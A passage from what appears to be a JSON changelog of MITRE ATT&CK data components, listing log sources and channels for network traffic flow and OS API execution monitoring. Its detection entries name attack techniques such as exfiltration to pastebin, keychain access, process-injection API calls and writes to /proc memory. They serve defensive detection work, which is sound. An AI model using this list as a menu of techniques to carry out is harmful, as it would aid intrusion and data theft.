"NSM:Flow", + "channel": "conn.log + ssl.log with Tor fingerprinting" + }, + { + "name": "macos:unifiedlog", + "channel": "forwarded encrypted traffic" + }, + { + "name": "NSM:Flow", + "channel": "Relayed session pathing (multi-hop)" + }, + { + "name": "NSM:Flow", + "channel": "Outbound TCP SYN or UDP to multiple ports/hosts" + }, + { + "name": "containerd:runtime", + "channel": "container-level outbound traffic events" + }, + { + "name": "WLANLogs:Association", + "channel": "Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type" + }, + { + "name": "linux:osquery", + "channel": "socket_events" + }, + { + "name": "WinEventLog:Security", + "channel": "ARP cache modification attempts observed through event tracing or security baselines" + }, + { + "name": "NSM:Flow", + "channel": "Gratuitous ARP replies with mismatched IP-MAC binding" + }, + { + "name": "macos:unifiedlog", + "channel": "ARP table updates inconsistent with expected gateway or DHCP lease assignments" + }, + { + "name": "macos:unifiedlog", + "channel": "networkd or com.apple.network" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains \"dns_request\"'" + }, + { + "name": "esxi:syslog", + "channel": "/var/log/syslog.log" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateTrafficMirrorSession or ModifyTrafficMirrorTarget" + }, + { + "name": "networkdevice:syslog", + "channel": "Config change: CLI/NETCONF/SNMP \u2013 'monitor session', 'mirror port'" + }, + { + "name": "NSM:Flow", + "channel": "Outbound UDP floods targeting common reflection services with spoofed IP headers" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound UDP spikes to external reflector IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large outbound UDP traffic to multiple public reflector IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "High entropy domain queries with multiple NXDOMAINs" + }, + { + "name": "esxi:syslog", + "channel": "Frequent DNS queries with high entropy names or NXDOMAIN results" + }, + { + "name": "vpxd.log", + "channel": "API communication" + }, + { + "name": "NSM:Connections", + "channel": "Outbound Connection" + }, + { + "name": "NSM:Flow", + "channel": "Connection Tracking" + }, + { + "name": "NSM:Firewall", + "channel": "pf firewall logs" + }, + { + "name": "NSM:Flow", + "channel": "Flow Creation (NetFlow/sFlow)" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, icmp.log" + }, + { + "name": "NSM:Flow", + "channel": "Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions" + }, + { + "name": "NSM:Flow", + "channel": "Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers" + }, + { + "name": "NSM:Connections", + "channel": "Inbound on ports 5985/5986" + }, + { + "name": "linux:syslog", + "channel": "Multiple IP addresses assigned to the same domain in rapid sequence" + }, + { + "name": "macos:unifiedlog", + "channel": "Rapid domain-to-IP resolution changes for same domain" + }, + { + "name": "esxi:syslog", + "channel": "Frequent DNS resolution of same domain with rotating IPs" + }, + { + "name": "NSM:Flow", + "channel": "uncommon ports" + }, + { + "name": "NSM:Flow", + "channel": "alternate ports" + }, + { + "name": "esxi:vpxd", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "conn.log or flow data" + }, + { + "name": "esxi:vmkernel", + "channel": "egress log analysis" + }, + { + "name": "esxi:vmkernel", + "channel": "egress logs" + }, + { + "name": "NSM:Flow", + "channel": "High volume flows with incomplete TCP sessions or single-packet bursts" + }, + { + "name": "NSM:Flow", + "channel": "Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port" + }, + { + "name": "macos:unifiedlog", + "channel": "Firewall rule enable/disable or listen socket changes" + }, + { + "name": "networkdevice:syslog", + "channel": "Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads" + }, + { + "name": "auditd:SYSCALL", + "channel": "ioctl: Changes to wireless network interfaces (up, down, reassociate)" + }, + { + "name": "macos:osquery", + "channel": "query: Historical list of associated SSIDs compared against baseline" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress from host after new install to unknown update endpoints" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to unknown registries/mirrors immediately after install" + }, + { + "name": "NSM:Flow", + "channel": "New egress from app just installed to unknown update endpoints" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi processes relaying traffic via SSH or unexpected ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connection to mining pool port (3333, 4444, 5555)" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pool upon container launch" + }, + { + "name": "NSM:Flow", + "channel": "Flow records with RSA key exchange on unexpected port" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs" + }, + { + "name": "NSM:Flow", + "channel": "sustained outbound HTTPS sessions with high data volume" + }, + { + "name": "NSM:Flow", + "channel": "Connections from IDE hosts to marketplace/tunnel domains" + }, + { + "name": "macos:unifiedlog", + "channel": "Outbound connections from IDE processes to marketplace/tunnel domains" + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS outbound uploads" + }, + { + "name": "esxi:vmkernel", + "channel": "network flows to external cloud services" + }, + { + "name": "NSM:Flow", + "channel": "TCP port 22 traffic" + }, + { + "name": "esxi:vmkernel", + "channel": "port 22 access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0078\", \"external_id\": \"DC0078\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"macos:osquery\", \"channel\": \"socket_events\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected flows between segmented networks or prohibited ports\"}, {\"name\": \"snmp:config\", \"channel\": \"Configuration change traps or policy enforcement failures\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time outbound connections to package registries or unknown hosts immediately after restore/build\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to new registries/CDNs post-install/build\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to non-approved registries after dependency install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large outbound data flows or long-duration connections\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"egress > 90th percentile or frequent connection reuse\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect\"}, {\"name\": \"esxi:syslog\", \"channel\": \"esxcli network vswitch or DNS resolver configuration updates\"}, {\"name\": \"esxi:vobd\", \"channel\": \"Network Events\"}, {\"name\": \"iptables:LOG\", \"channel\": \"TCP connections\"}, {\"name\": \"NSM:Flow\", \"channel\": \"connection metadata\"}, {\"name\": \"wineventlog:dhcp\", \"channel\": \"DHCP Lease Granted\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LEASE_GRANTED\"}, {\"name\": \"NSM:Flow\", \"channel\": \"MAC not in allow-list acquiring IP (DHCP)\"}, {\"name\": \"Windows Firewall Log\", \"channel\": \"SMB over high port\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Internal connection logging\"}, {\"name\": \"NSM:Flow\", \"channel\": \"pf firewall logs\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inter-segment traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Long-lived or hijacked SSH sessions maintained with no active user activity\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"VPC/NSG flow logs for pod/instance egress to Internet or metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious outbound traffic from browser binary to non-standard domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Abnormal browser traffic volume or destination\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound requests to domains not previously resolved or associated with phishing campaigns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click\"}, {\"name\": \"M365Defender:DeviceNetworkEvents\", \"channel\": \"NetworkConnection: bytes_sent >> bytes_received anomaly\"}, {\"name\": \"PF:Logs\", \"channel\": \"outbound flows with bytes_out >> bytes_in\"}, {\"name\": \"NSX:FlowLogs\", \"channel\": \"network_flow: bytes_out >> bytes_in to external\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/Zeek conn.log\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound data flows\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow records with entropy signatures resembling symmetric encryption\"}, {\"name\": \"NSM:Flow\", \"channel\": \"flow records\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"flow records\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTPS POST to known webhook URLs\"}, {\"name\": \"saas:api\", \"channel\": \"Webhook registrations or repeated POST activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Source/destination IP translation inconsistent with intended policy\"}, {\"name\": \"SNMP:DeviceLogs\", \"channel\": \"Unexpected NAT translation statistics or rule insertion events\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sudden spike in incoming flows to web service ports from single/multiple IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Unusual volume of inbound packets from single source across short time interval\"}, {\"name\": \"NSM:Flow\", \"channel\": \"port 5900 inbound\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP port 5900 open\"}, {\"name\": \"NSM:firewall\", \"channel\": \"inbound connection to port 5900\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound connections to 139/445 to multiple destinations\"}, {\"name\": \"VPCFlowLogs:All\", \"channel\": \"High volume internal traffic with low entropy indicating looped or malicious DoS script\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/sFlow/PCAP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound Network Flow\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.network\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Device-to-Device Deployment Flows\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket/connect syscalls\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound TCP/UDP traffic over unexpected port\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi service connections on unexpected ports\"}, {\"name\": \"iptables:LOG\", \"channel\": \"OUTBOUND\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"tcp/udp\"}, {\"name\": \"esxi:hostd\", \"channel\": \"CLI network calls\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic from suspicious new processes post-attachment execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious anomalies in transmitted data integrity during application network operations\"}, {\"name\": \"esxi:syslog\", \"channel\": \"DNS resolution events leading to outbound traffic on unexpected ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to mining pools or proxies\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Outbound flow logs to known mining pools\"}, {\"name\": \"container:cni\", \"channel\": \"Outbound network traffic to mining proxies\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"TLS session established by ESXi service to unapproved endpoint\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session records with TLS-like byte patterns\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTPS POST requests to pastebin.com or similar\"}, {\"name\": \"NetFlow:Flow\", \"channel\": \"new outbound connections from exploited process tree\"}, {\"name\": \"NSM:Connections\", \"channel\": \"new connections from exploited lineage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected route changes or duplicate gateway advertisements\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall\", \"channel\": \"EventCode=2004,2005,2006\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Knock pattern: repeated REJ/S0 across \\u2265MinSequenceLen ports from same src_ip then SF success.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firewall/PF anchor load or rule change events.\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to non-approved update hosts right after install/update\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New outbound flows to non-approved vendor hosts post install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New/rare egress to non-approved update hosts after install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large outbound HTTPS uploads to repo domains\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS traffic to repository domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"alert log\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound flow records\"}, {\"name\": \"m365:defender\", \"channel\": \"NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch\"}, {\"name\": \"PF:Logs\", \"channel\": \"high out:in ratio or fixed-size periodic flows\"}, {\"name\": \"NSM:Flow\", \"channel\": \"network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect or sendto system call with burst pattern\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"sudden burst in outgoing packets from same PID\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"source instance sends large volume of traffic in short window\"}, {\"name\": \"NSM:Flow\", \"channel\": \"session stats with bytes_out > bytes_in\"}, {\"name\": \"NIDS:Flow\", \"channel\": \"session stats with bytes_out > bytes_in\"}, {\"name\": \"esxi:vpxa\", \"channel\": \"connection attempts and data transmission logs\"}, {\"name\": \"PF:Logs\", \"channel\": \"External traffic to remote access services\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High volumes of SYN/ACK packets with unacknowledged TCP handshakes\"}, {\"name\": \"dns:query\", \"channel\": \"Outbound resolution to hidden service domains (e.g., `.onion`)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log + ssl.log with Tor fingerprinting\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"forwarded encrypted traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Relayed session pathing (multi-hop)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound TCP SYN or UDP to multiple ports/hosts\"}, {\"name\": \"containerd:runtime\", \"channel\": \"container-level outbound traffic events\"}, {\"name\": \"WLANLogs:Association\", \"channel\": \"Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type\"}, {\"name\": \"linux:osquery\", \"channel\": \"socket_events\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"ARP cache modification attempts observed through event tracing or security baselines\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Gratuitous ARP replies with mismatched IP-MAC binding\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ARP table updates inconsistent with expected gateway or DHCP lease assignments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"networkd or com.apple.network\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream 'eventMessage contains \\\"dns_request\\\"'\"}, {\"name\": \"esxi:syslog\", \"channel\": \"/var/log/syslog.log\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateTrafficMirrorSession or ModifyTrafficMirrorTarget\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config change: CLI/NETCONF/SNMP \\u2013 'monitor session', 'mirror port'\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound UDP floods targeting common reflection services with spoofed IP headers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound UDP spikes to external reflector IPs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large outbound UDP traffic to multiple public reflector IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"High entropy domain queries with multiple NXDOMAINs\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Frequent DNS queries with high entropy names or NXDOMAIN results\"}, {\"name\": \"vpxd.log\", \"channel\": \"API communication\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Outbound Connection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connection Tracking\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"pf firewall logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow Creation (NetFlow/sFlow)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, icmp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Inbound on ports 5985/5986\"}, {\"name\": \"linux:syslog\", \"channel\": \"Multiple IP addresses assigned to the same domain in rapid sequence\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Rapid domain-to-IP resolution changes for same domain\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Frequent DNS resolution of same domain with rotating IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"uncommon ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"alternate ports\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log or flow data\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"egress log analysis\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"egress logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"High volume flows with incomplete TCP sessions or single-packet bursts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firewall rule enable/disable or listen socket changes\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ioctl: Changes to wireless network interfaces (up, down, reassociate)\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: Historical list of associated SSIDs compared against baseline\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress from host after new install to unknown update endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"First-time egress to unknown registries/mirrors immediately after install\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress from app just installed to unknown update endpoints\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"ESXi processes relaying traffic via SSH or unexpected ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connection to mining pool port (3333, 4444, 5555)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound traffic to mining pool upon container launch\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow records with RSA key exchange on unexpected port\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"sustained outbound HTTPS sessions with high data volume\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections from IDE hosts to marketplace/tunnel domains\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Outbound connections from IDE processes to marketplace/tunnel domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS outbound uploads\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network flows to external cloud services\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP port 22 traffic\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"port 22 access\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.703000+00:00\", \"old_value\": \"2025-04-18 15:11:20.168000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.999000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0021", + "external_id": "DC0021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "OS API Execution", + "description": "Calls made by a process to operating system-provided Application Programming Interfaces (APIs). These calls are essential for interacting with system resources such as memory, files, and hardware, or for performing system-level tasks. Monitoring these calls can provide insight into a process's intent, especially if the process is malicious.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - Leverage tools to monitor API execution behaviors at the process level.\n - Example: Sysmon Event ID 10 captures API call traces for process access and memory allocation.\n- Process Monitor (ProcMon):\n - Use ProcMon to collect detailed logs of process and API activity. ProcMon can provide granular details on API usage and identify malicious behavior during analysis.\n- Windows Event Logs:\n - Use Event IDs from Windows logs for specific API-related activities:\n - Event ID 4688: A new process has been created (can indirectly infer API use).\n - Event ID 4657: A registry value has been modified (to monitor registry-altering APIs).\n- Dynamic Analysis Tools:\n - Tools like Cuckoo Sandbox, Flare VM, or Hybrid Analysis monitor API execution during malware detonation.\n- Host-Based Logs:\n - On Linux/macOS systems, leverage audit frameworks (e.g., `auditd`, `strace`) to capture and analyze system call usage that APIs map to.\n- Runtime Monitors:\n - Runtime security tools like Falco can monitor system-level calls for API execution.\n- Debugging and Tracing:\n - Use debugging tools like gdb (Linux) or WinDbg (Windows) for deep tracing of API executions in real time.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Base", + "channel": "GetLocaleInfoW, GetTimeZoneInformation API calls" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetMetadata, DescribeInstanceIdentity" + }, + { + "name": "macos:osquery", + "channel": "open, execve: Unexpected processes accessing or modifying critical files" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, ioctl" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API tracing / stack tracing via ETW or telemetry-based EDR" + }, + { + "name": "EDR:memory", + "channel": "Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)" + }, + { + "name": "networkdevice:syslog", + "channel": "aaa privilege_exec" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "APCQueueOperations" + }, + { + "name": "macos:unifiedlog", + "channel": "Invocation of SMLoginItemSetEnabled by non-system or recently installed application" + }, + { + "name": "macos:unifiedlog", + "channel": "flock|NSDistributedLock|FileHandle.*lockForWriting" + }, + { + "name": "etw:Microsoft-Windows-Directory-Services-SAM", + "channel": "api_call: Calls to DsAddSidHistory or related RPC operations" + }, + { + "name": "macos:unifiedlog", + "channel": "application logs referencing NSTimer, sleep, or launchd delays" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage" + }, + { + "name": "auditd:SYSCALL", + "channel": "Rules capturing clock_gettime, time, gettimeofday syscalls when enabled" + }, + { + "name": "networkdevice:syslog", + "channel": "Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance" + }, + { + "name": "etw:Microsoft-Windows-RPC", + "channel": "rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes" + }, + { + "name": "NSM:Flow", + "channel": "smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "EDR:memory", + "channel": "API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process" + }, + { + "name": "macos:unifiedlog", + "channel": "Access decisions to kTCCServiceCamera for unexpected binaries" + }, + { + "name": "EDR:memory", + "channel": "Objective\u2011C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "mmap, ptrace, process_vm_writev or direct memory ops" + }, + { + "name": "WinEventLog:Application", + "channel": "API call to AddMonitor invoked by non-installer process" + }, + { + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage" + }, + { + "name": "auditd:SYSCALL", + "channel": "unshare, mount, keyctl, setns syscalls executed by containerized processes" + }, + { + "name": "macos:unifiedlog", + "channel": "audio APIs" + }, + { + "name": "WinEventLog:Microsoft-Windows-COM/Operational", + "channel": "CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.securityd, com.apple.tccd" + }, + { + "name": "auditd:SYSCALL", + "channel": "send, recv, write: Abnormal interception or alteration of transmitted data" + }, + { + "name": "macos:osquery", + "channel": "CALCULATE: Integrity validation of transmitted data via hash checks" + }, + { + "name": "ETW:Token", + "channel": "token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API Calls" + }, + { + "name": "etw:Microsoft-Windows-DotNETRuntime", + "channel": "AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime" + }, + { + "name": "EDR:memory", + "channel": "VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad" + }, + { + "name": "auditd:MMAP", + "channel": "memory region with RWX permissions allocated" + }, + { + "name": "snmp:trap", + "channel": "management queries" + }, + { + "name": "AWS:CloudTrail", + "channel": "Describe* or List* API calls" + }, + { + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SendMessage, PostMessage, LVM_*" + }, + { + "name": "auditd:SYSCALL", + "channel": "sudo or pkexec invocation" + }, + { + "name": "macos:unifiedlog", + "channel": "authorization execute privilege requests" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtQueryInformationProcess" + }, + { + "name": "macos:unifiedlog", + "channel": "ptrace: Processes invoking ptrace with PTRACE_TRACEME flag" + }, + { + "name": "esxi:hostd", + "channel": "Remote access API calls and file uploads" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread" + }, + { + "name": "linux:syslog", + "channel": "Execution of modified binaries or abnormal library load sequences" + }, + { + "name": "macos:unifiedlog", + "channel": "Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools" + }, + { + "name": "macos:unifiedlog", + "channel": "access or unlock attempt to keychain database" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of input detection APIs (e.g., CGEventSourceKeyState)" + }, + { + "name": "auditd:SYSCALL", + "channel": "mount system call with bind or remap flags" + }, + { + "name": "AWS:CloudTrail", + "channel": "Decrypt" + }, + { + "name": "etw:Microsoft-Windows-Kernel-File", + "channel": "ZwSetEaFile or ZwQueryEaFile function calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "fork/clone/daemon syscall tracing" + }, + { + "name": "fs:fsusage", + "channel": "Detached process execution with no associated parent" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, mprotect, open, dlopen" + }, + { + "name": "ETW:ProcThread", + "channel": "api_call: CreateProcessWithTokenW, CreateProcessAsUserW" + }, + { + "name": "EDR:memory", + "channel": "MemoryWriteToExecutable" + }, + { + "name": "ETW:Token", + "channel": "api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx" + }, + { + "name": "etw:Microsoft-Windows-Security-Auditing", + "channel": "api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, process_vm_writev" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of dd or sed targeting /proc/*/mem" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx" + }, + { + "name": "ETW", + "channel": "Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses" + }, + { + "name": "EDR:file", + "channel": 